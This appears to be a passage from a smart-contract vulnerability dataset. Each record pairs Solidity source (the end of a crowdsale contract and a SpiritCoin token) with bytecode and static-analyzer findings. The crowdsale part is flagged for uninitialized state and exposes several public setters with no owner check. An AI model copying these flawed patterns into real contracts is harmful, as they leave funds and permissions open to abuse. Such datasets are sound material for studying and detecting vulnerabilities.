CAP); token.mint(walletToMint, t); } function tokenTransferOwnership(address newOwner) onlyOwner payable public { token.transferOwnership(newOwner); } function setAllowTransferGlobal(bool _status) public { token.setAllowTransferGlobal(_status); } function setAllowTransferLocal(bool _status) public { token.setAllowTransferLocal(_status); } function setAllowTransferExternal(bool _status) public { token.setAllowTransferExternal(_status); } function setManager(address _manager, bool _status) public { token.setManager(_manager, _status); } function setWhitelist(address _address, uint256 _date) public { token.setWhitelist(_address, _date); } function setLockupList(address _address, uint256 _date) public { token.setLockupList(_address, _date); } function setWildcardList(address _address, bool _status) public { token.setWildcardList(_address, _status); } function changeEnd(uint256 _end) onlyOwner public { endTime = _end; rate8_end_at = _end; } function burn(address _burner, uint256 _value) onlyOwner public { token.burn(_burner, _value); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630dc081c5146101495780631302d03a146101775780632c4e722e146101b95780633197cbb6146101e257806336ae045a1461020b5780634042b66f1461024f578063521eb2731461027857806357fbac06146102cd578063679aefce146102f2578063749428681461031b57806378e97925146103445780638da5cb5b1461036d578063957e05d6146103c25780639ad74f81146103e75780639dc29fac1461040c578063a5e90eee1461044e578063adb88cb914610492578063c2363c2f146104bb578063e37bddc3146104fd578063ec8ac4d814610520578063ecb70fb71461054e578063f0dda65c1461057b578063f2fde38b146105b2578063fc0c546a146105eb575b61014733610640565b005b610175600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082e565b005b341561018257600080fd5b6101b7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061095c565b005b34156101c457600080fd5b6101cc610a37565b6040518082815260200191505060405180910390f35b34156101ed57600080fd5b6101f5610a3d565b6040518082815260200191505060405180910390f35b341561021657600080fd5b61024d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610a43565b005b341561025a57600080fd5b610262610b22565b6040518082815260200191505060405180910390f35b341561028357600080fd5b61028b610b28565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102d857600080fd5b6102f060048080351515906020019091905050610b4e565b005b34156102fd57600080fd5b610305610bf8565b6040518082815260200191505060405180910390f35b341561032657600080fd5b61032e610d38565b6040518082815260200191505060405180910390f35b341561034f57600080fd5b610357610d3e565b6040518082815260200191505060405180910390f35b341561037857600080fd5b610380610d44565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103cd57600080fd5b6103e560048080351515906020019091905050610d6a565b005b34156103f257600080fd5b61040a60048080351515906020019091905050610e14565b005b341561041757600080fd5b61044c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ebe565b005b341561045957600080fd5b610490600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610ff5565b005b341561049d57600080fd5b6104a56110d4565b6040518082815260200191505060405180910390f35b34156104c657600080fd5b6104fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110da565b005b341561050857600080fd5b61051e60048080359060200190919050506111b5565b005b61054c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610640565b005b341561055957600080fd5b610561611222565b604051808215151515815260200191505060405180910390f35b6105b0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061122e565b005b34156105bd57600080fd5b6105e9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611449565b005b34156105f657600080fd5b6105fe6115a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561067f57600080fd5b6106876115c6565b151561069257600080fd5b3491506106af6106a0610bf8565b8361189190919063ffffffff16565b90506106c6826005546118cc90919063ffffffff16565b6005819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561079857600080fd5b6102c65a03f115156107a957600080fd5b50505060405180519050508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36108296118ea565b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561094557600080fd5b6102c65a03f1151561095657600080fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631302d03a83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515610a1f57600080fd5b6102c65a03f11515610a3057600080fd5b5050505050565b60045481565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166336ae045a83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b1515610b0a57600080fd5b6102c65a03f11515610b1b57600080fd5b5050505050565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357fbac06826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050600060405180830381600087803b1515610be157600080fd5b6102c65a03f11515610bf257600080fd5b50505050565b600042635b8a470011158015610c125750635b93817f4211155b15610c21576175309050610d35565b42635b93818011158015610c395750635b9cbbff4211155b15610c485761639c9050610d35565b42635b9cbc0011158015610c605750635ba5f67f4211155b15610c6f576157e49050610d35565b42635ba5f68011158015610c875750635baf31004211155b15610c9657614e209050610d35565b42635ca1c50011158015610cae5750635caaff7f4211155b15610cbd57611f409050610d35565b42635caaff8011158015610cd55750635cb439ff4211155b15610ce457611b589050610d35565b42635cb43a0011158015610cfc5750635cbd747f4211155b15610d0b576117709050610d35565b42635cbd748011158015610d2157506007544211155b15610d30576113889050610d35565b600090505b90565b60075481565b60015481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663957e05d6826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050600060405180830381600087803b1515610dfd57600080fd5b6102c65a03f11515610e0e57600080fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ad74f81826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050600060405180830381600087803b1515610ea757600080fd5b6102c65a03f11515610eb857600080fd5b50505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515610fdd57600080fd5b6102c65a03f11515610fee57600080fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a5e90eee83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b15156110bc57600080fd5b6102c65a03f115156110cd57600080fd5b5050505050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c2363c2f83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561119d57600080fd5b6102c65a03f115156111ae57600080fd5b5050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121157600080fd5b806002819055508060078190555050565b60006002544211905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128a57600080fd5b6b033b2e3c9fd0803ce8000000611351826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561132857600080fd5b6102c65a03f1151561133957600080fd5b505050604051805190506118cc90919063ffffffff16565b10151561135d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561142957600080fd5b6102c65a03f1151561143a57600080fd5b50505060405180519050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114e157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066470de4df8200003410156115e0576000905061188e565b6b033b2e3c9fd0803ce80000006116c061160a6115fb610bf8565b3461189190919063ffffffff16565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561169757600080fd5b6102c65a03f115156116a857600080fd5b505050604051805190506118cc90919063ffffffff16565b1015156116d0576000905061188e565b635baf3100421180156116e65750635ca1c50042105b156116f4576000905061188e565b42635b8a47001015801561170c575042635baf310011155b15611801576a94e47b8d681715340000006117f061173a61172b610bf8565b3461189190919063ffffffff16565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156117c757600080fd5b6102c65a03f115156117d857600080fd5b505050604051805190506118cc90919063ffffffff16565b101515611800576000905061188e565b5b42635ca1c50010158015611819575042635cc6af0011155b1561186a576b0108b2a2c280290940000000611859611848611839610bf8565b3461189190919063ffffffff16565b6008546118cc90919063ffffffff16565b101515611869576000905061188e565b5b6000611874610bf8565b1415611883576000905061188e565b61188b61194e565b90505b90565b60008060008414156118a657600091506118c5565b82840290508284828115156118b757fe5b041415156118c157fe5b8091505b5092915050565b60008082840190508381101515156118e057fe5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561194c57600080fd5b565b6000806000600154421015801561196757506002544211155b91506000341415905081801561197a5750805b9250505090565b60007388218eb0756bca01a9f6be0c6eff641e9b4d81019050905600a165627a7a72305820cc2216d13cd8eacb49fee9cdf566d9a7844ea364a2e186a84d52d29d80911bbf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,873
0x88647c0a3a3349b9dc9e69d7385a9393a15245dc
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract SpiritCoin { /// @notice EIP-20 token name for this token string public constant name = "SpiritCoin"; /// @notice EIP-20 token symbol for this token string public constant symbol = "SPIRIT"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 15; /// @notice Total number of tokens in circulation uint public totalSupply = 10000000000000000000000000; // 10 Billion SPIRIT /// @notice Address which may mint new tokens address public minter; /// @notice Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Quick token * @param account The initial account to grant all the tokens * @param minter_ The account with minting ability */ constructor(address account, address minter_) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); } /** * @notice Change the minter address * @param minter_ The address of the new minter */ function setMinter(address minter_) external { require(msg.sender == minter, "Quick::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } /** * @notice Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "Quick::mint: only the minter can mint"); require(dst != address(0), "Quick::mint: cannot transfer to the zero address"); // mint the amount uint96 amount = safe96(rawAmount, "Quick::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Quick::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "Quick::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "Quick::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Quick::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Quick::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Quick::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Quick::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Quick::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Quick::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80635c11d62f1161008c57806395d89b411161006657806395d89b41146102bb578063a9059cbb146102c3578063dd62ed3e146102ef578063fca3b5aa1461031d576100ea565b80635c11d62f1461026c57806370a082311461028d57806376c71ca1146102b3576100ea565b806318160ddd116100c857806318160ddd146101d057806323b872dd146101ea578063313ce5671461022057806340c10f191461023e576100ea565b806306fdde03146100ef578063075461721461016c578063095ea7b314610190575b600080fd5b6100f7610343565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610174610369565b604080516001600160a01b039092168252519081900360200190f35b6101bc600480360360408110156101a657600080fd5b506001600160a01b038135169060200135610378565b604080519115158252519081900360200190f35b6101d8610436565b60408051918252519081900360200190f35b6101bc6004803603606081101561020057600080fd5b506001600160a01b0381358116916020810135909116906040013561043c565b610228610581565b6040805160ff9092168252519081900360200190f35b61026a6004803603604081101561025457600080fd5b506001600160a01b038135169060200135610586565b005b6102746107a9565b6040805163ffffffff9092168252519081900360200190f35b6101d8600480360360208110156102a357600080fd5b50356001600160a01b03166107b1565b6102286107d5565b6100f76107da565b6101bc600480360360408110156102d957600080fd5b506001600160a01b0381351690602001356107fc565b6101d86004803603604081101561030557600080fd5b506001600160a01b0381358116916020013516610838565b61026a6004803603602081101561033357600080fd5b50356001600160a01b031661086c565b6040518060400160405280600a81526020016929b834b934ba21b7b4b760b11b81525081565b6001546001600160a01b031681565b60008060001983141561038e57506000196103b3565b6103b083604051806060016040528060268152602001610e8d6026913961091f565b90505b3360008181526002602090815260408083206001600160a01b0389168085529083529281902080546001600160601b0319166001600160601b038716908117909155815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a360019150505b92915050565b60005481565b6001600160a01b03831660009081526002602090815260408083203380855290835281842054825160608101909352602680845291936001600160601b039091169285926104949288929190610e8d9083013961091f565b9050866001600160a01b0316836001600160a01b0316141580156104c157506001600160601b0382811614155b156105695760006104eb83836040518060600160405280603e8152602001610f60603e91396109b9565b6001600160a01b038981166000818152600260209081526040808320948a168084529482529182902080546001600160601b0319166001600160601b03871690811790915582519081529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b610574878783610a26565b5060019695505050505050565b600f81565b6001546001600160a01b031633146105cf5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e146025913960400191505060405180910390fd5b6001600160a01b0382166106145760405162461bcd60e51b8152600401808060200182810382526030815260200180610de46030913960400191505060405180910390fd5b600061063882604051806060016040528060238152602001610e6a6023913961091f565b905061065461064d600054600260ff16610bd9565b6064610c39565b816001600160601b031611156106b1576040805162461bcd60e51b815260206004820152601e60248201527f517569636b3a3a6d696e743a206578636565646564206d696e74206361700000604482015290519081900360640190fd5b6106e76106c9600054836001600160601b0316610c7b565b604051806060016040528060288152602001610eb36028913961091f565b6001600160601b0390811660009081556001600160a01b0385168152600360209081526040918290205482516060810190935260268084526107399491909116928592909190610fd990830139610cd5565b6001600160a01b038416600081815260036020908152604080832080546001600160601b0319166001600160601b039687161790558051948616855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505050565b6301e1338081565b6001600160a01b03166000908152600360205260409020546001600160601b031690565b600281565b6040518060400160405280600681526020016514d41254925560d21b81525081565b60008061082183604051806060016040528060278152602001610f396027913961091f565b905061082e338583610a26565b5060019392505050565b6001600160a01b0391821660009081526002602090815260408083209390941682529190915220546001600160601b031690565b6001546001600160a01b031633146108b55760405162461bcd60e51b815260040180806020018281038252603f815260200180610da5603f913960400191505060405180910390fd5b600154604080516001600160a01b039283168152918316602083015280517f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f69281900390910190a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b600081600160601b84106109b15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561097657818101518382015260200161095e565b50505050905090810190601f1680156109a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509192915050565b6000836001600160601b0316836001600160601b031611158290610a1e5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561097657818101518382015260200161095e565b505050900390565b6001600160a01b038316610a6b5760405162461bcd60e51b815260040180806020018281038252603d815260200180610edb603d913960400191505060405180910390fd5b6001600160a01b038216610ab05760405162461bcd60e51b815260040180806020018281038252603b815260200180610f9e603b913960400191505060405180910390fd5b6001600160a01b038316600090815260036020908152604091829020548251606081019093526037808452610afb936001600160601b039092169285929190610fff908301396109b9565b6001600160a01b03848116600090815260036020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526031808452610b639491909116928592909190610e3990830139610cd5565b6001600160a01b0383811660008181526003602090815260409182902080546001600160601b0319166001600160601b039687161790558151948616855290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505050565b600082610be857506000610430565b82820282848281610bf557fe5b0414610c325760405162461bcd60e51b8152600401808060200182810382526021815260200180610f186021913960400191505060405180910390fd5b9392505050565b6000610c3283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d3f565b600082820183811015610c32576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000838301826001600160601b038087169083161015610d365760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561097657818101518382015260200161095e565b50949350505050565b60008183610d8e5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561097657818101518382015260200161095e565b506000838581610d9a57fe5b049594505050505056fe517569636b3a3a7365744d696e7465723a206f6e6c7920746865206d696e7465722063616e206368616e676520746865206d696e7465722061646472657373517569636b3a3a6d696e743a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061646472657373517569636b3a3a6d696e743a206f6e6c7920746865206d696e7465722063616e206d696e74517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a6d696e743a20616d6f756e7420657863656564732039362062697473517569636b3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473517569636b3a3a6d696e743a20746f74616c537570706c7920657863656564732039362062697473517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77517569636b3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473517569636b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061646472657373517569636b3a3a6d696e743a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a265627a7a72315820f2eae60572331b0e509083f65d155f156883d6f2e7386e92a30b41d0d50bfbb564736f6c63430005110032
{"success": true, "error": null, "results": {}}
3,874
0x76ad96c7ec0b63dbf781581a7a1de5d607d45e9e
